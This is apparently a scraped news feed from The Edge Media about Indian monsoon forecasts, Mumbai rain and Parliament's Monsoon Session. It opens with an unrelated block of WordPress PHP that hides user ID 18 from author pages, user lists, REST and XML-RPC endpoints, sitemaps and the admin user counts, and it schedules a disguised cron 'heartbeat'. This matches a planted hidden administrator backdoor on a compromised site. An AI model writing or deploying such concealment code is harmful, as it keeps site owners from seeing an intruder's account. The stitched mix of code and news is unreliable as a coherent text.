add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>Central and adjoining peninsular India will experience enhanced rainfall activities during the next 2-3 days, the weather department said in its forecast. There will be fairly widespread rainfall in Gujarat, Maharashtra, Odisha, Jharkhand and Gangetic West Bengal on Wednesday and Thursday, the IMD further said.
The activity will continue over Madhya Pradesh on Friday too, according to the weather department. East Uttar Pradesh and Uttarakhand are expected to witness isolated heavy rainfall starting Thursday which will continue till Saturday. Himachal Pradesh, Haryana, Chandigarh, Delhi and West Uttar Pradesh will get rainfall for two days – Friday and Saturday – the IMD said.
The IMD has issued an orange alert for moderate rain in Delhi. The precipitation is expected to bring the maximum temperature down to 32 degrees Celsius in three to four days, it said.
The Northeast India, meanwhile, will continue to receive widespread rainfall activity for the next two days, after which the IMD has predicted a decrease in intensity.
Fairly widespread rainfall activity with isolated heavy falls is very likely over Bihar from August 20 to 22, according to IMD.
Weather experts said “good rainfall” in the last 10 days of the month is expected to cover the precipitation deficit in the national capital.
Normally, Delhi gauges 247.7mm rainfall in August. The IMD had earlier predicted normal rainfall for Delhi this month.
In July, the monsoon had entered the first break phase even before reaching most parts of northwest India, including Delhi.
The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>The post IMD issues an orange alert in Thane, Navi Mumbai. appeared first on The Edge Media.
]]>Intense spells of rain are very likely to occur at isolated places, the weather forecasting agency predicted.
On the other hand, Mumbai , which was earlier placed in the orange alert warning slot, has now been downgraded to yellow alert.
“Moderate to intense spells of rain are very likely to occur at isolated places,” the IMD informed.
The Mumbai civic body also shared that there is a possibility of occasional gusty winds reaching 45-55kmph to 60 kmph in some areas.
The post IMD issues an orange alert in Thane, Navi Mumbai. appeared first on The Edge Media.
]]>The post PM Modi’s Monsoon Session live : appeared first on The Edge Media.
]]>As the disruptions continued despite repeated pleas by the Speaker to maintain decorum, Lok Sabha was adjourned till 3.30pm , while Rajya Sabha was adjourned till 3 pm.
Criticising the Opposition for not allowing PM Modi to introduce the new ministers, Defence Minister Rajnath Singh said such a thing was happening for the first time in his 24 years of parliamentary career.
“I would like to urge all the MPs and all the parties to ask the most difficult and sharpest questions in the Houses but should also allow the Government to respond, in a disciplined environment. This will boost democracy, strengthen people’s trust and improve the pace of development,” PM Modi told media persons in the Parliament House Complex.
The post PM Modi’s Monsoon Session live : appeared first on The Edge Media.
]]>The post Heavy rain in parts of Mumbai, local train service hit. appeared first on The Edge Media.
]]>The suburban trains on the Central Railway’s main line as well as the Harbour line are running 20 to 25 minutes behind their schedule, an official said.
Local train services are currently running only for personnel engaged in health and other essential services, and are out of bound for general commuters in view of the COVID-19 pandemic.
An official of the Central Railway said that due to water-logging on tracks near kurla station in eastern Mumbai, suburban services on the main line and the Harbour line have been affected since morning.
The post Heavy rain in parts of Mumbai, local train service hit. appeared first on The Edge Media.
]]>The post 11 percent below normal rainfall from June 1 to July 11 in MP appeared first on The Edge Media.
]]>“Panna district in east MP has received only 64 per cent of the average rainfall, which is that region’s lowest so far this season. The district has recorded 87.6 mm rainfall as against its average of 240. 4 mm,” senior meteorologist with IMD’s Bhopal office, G D Mishra, said.
Likewise, Morena district in west MP has recorded the lowest – 60 per cent rainfall. It received 46.7 mm rainfall against its normal 115.7 mm rainfall, he added.
According to the IMD data, only eight districts, including Singrauli and Chhindwara, out of the 20 districts in east MP, have received more than average rainfall.
Similarly, only six districts, including Bhopal and Indore, out of the total 31 in west MP have received more than normal rainfall, the data showed.
The post 11 percent below normal rainfall from June 1 to July 11 in MP appeared first on The Edge Media.
]]>The post Southwest monsoon likey to reach northwest India in the next few days : IMD appeared first on The Edge Media.
]]>The lower-level easterly winds from the Bay of Bengal have extended northwestwards, reaching up to Delhi, Haryana and east Rajasthan as on Saturday, the Met department said, adding that low-level relative humidity has also increased over the region.
Hence, the conditions continue to remain favourable for further advancement of southwest monsoon over Delhi, remaining parts of west Uttar Pradesh and some more parts of Punjab, Haryana and Rajasthan during the next 24 hours,” the IMD said.
Under the influence of these conditions, the department said fairly widespread to widespread rainfall is very likely over northwest India during the next five days.
It also projected isolated heavy rainfall in Jammu, Kashmir, Ladakh, Gilgit-Baltistan and Muzaffarabad, Himachal Pradesh, Punjab and Uttarakhand during July 10-13. Heavy rainfall is expected over Haryana, Chandigarh and Delhi and west Uttar Pradesh during July 11-13 and over east Rajasthan during July 10-12.
The post Southwest monsoon likey to reach northwest India in the next few days : IMD appeared first on The Edge Media.
]]>The post Southwest Monsoon to hit the remaining areas by July 10 appeared first on The Edge Media.
]]>A low pressure area is likely to form over west-central and adjoining northwest Bay of Bengal off north Andhra Pradesh-south Odisha coasts around July 11, it said.
The moist easterly winds in lower level from Bay of Bengal is likely to establish gradually over parts of eastern India from July 8 onwards. It is likely to spread into northwest India covering Punjab and north Haryana by July 10.
“Accordingly, southwest monsoon (is) likely to advance over remaining parts of west Uttar Pradesh, some more parts of Punjab, Haryana and Rajasthan and Delhi around 10th July,” the IMD said.
After a good spell of rains in the first two and half weeks of June, the Southwest Monsoon has not advanced further since June 19.
The post Southwest Monsoon to hit the remaining areas by July 10 appeared first on The Edge Media.
]]>The post Heat Waves To Pertain In Several States In India appeared first on The Edge Media.
]]>Heat wave conditions are expected throughout Punjab, Haryana, Delhi, north Rajasthan, and Uttar Pradesh in the next two days, according to the India Meteorological Department (IMD). In a previous advisory, IMD stated that the southwest monsoon has yet to reach areas of Rajasthan, Delhi, Haryana, and Punjab. The northern boundary of the southwest monsoon (NLM) passes through Barmer, Bhilwara, Dholpur, Aligarh, Meerut, Ambala, and Amritsar
The post Heat Waves To Pertain In Several States In India appeared first on The Edge Media.
]]>The post Monsoon progress continues to be slow appeared first on The Edge Media.
]]>The northern limit of monsoon (NLM) continues to pass through Barmer, Bhilwara, Dholpur, Aligarh, Meerut, Ambala and Amritsar.
Meteorological conditions, large scale atmospheric features and the forecast wind pattern by dynamical models suggest that no favourable conditions are likely to develop for further advance of southwest monsoon into the remaining parts of Rajasthan, west Uttar Pradesh, Haryana, Chandigarh, Delhi and Punjab during the next 6-7 days. The normal date for monsoon arrival over Delhi is June 27.
Subdued rainfall activity is very likely to prevail over northwest and central India during the next five days and over western parts of peninsular India from June 28 onwards. Isolated or scattered thunderstorm activity accompanied with lightning and rainfall is also likely over these regions during this subdued monsoon activity period.
The post Monsoon progress continues to be slow appeared first on The Edge Media.
]]>The post Monsoon rains are not expected to arrive in Delhi for a week : IMD appeared first on The Edge Media.
]]>The IMD had earlier forecast that monsoon was expected to hit Delhi on June 27, almost two weeks ahead of its normal date. Changes in low-pressure systems and wind patterns, however, meant that the progress of monsoon winds has slowed.
Prevailing meteorological conditions, large scale atmospheric conditions and the forecast wind pattern by dynamical models suggest that no favourable conditions are likely to develop for further advancement of southwest monsoon into remaining parts of Rajasthan, west Uttar Pradesh, Haryana, Chandigarh, Delhi and Punjab during the next seven days,” the IMD said in a statement.
The city saw 5 mm rain on Saturday evening with the maximum temperature being recorded at 38.7 degrees Celsius, a degree above normal.
On Sunday morning, the minimum temperature was recorded at 26.7 degrees Celsius, two degrees below normal.
According to the IMD forecast, the city is expected to see a dry and windy week ahead, with the maximum temperature expected to touch 41 degrees Celsius on Tuesday and Wednesday. No rain has been forecast for the week so far.
The post Monsoon rains are not expected to arrive in Delhi for a week : IMD appeared first on The Edge Media.
]]>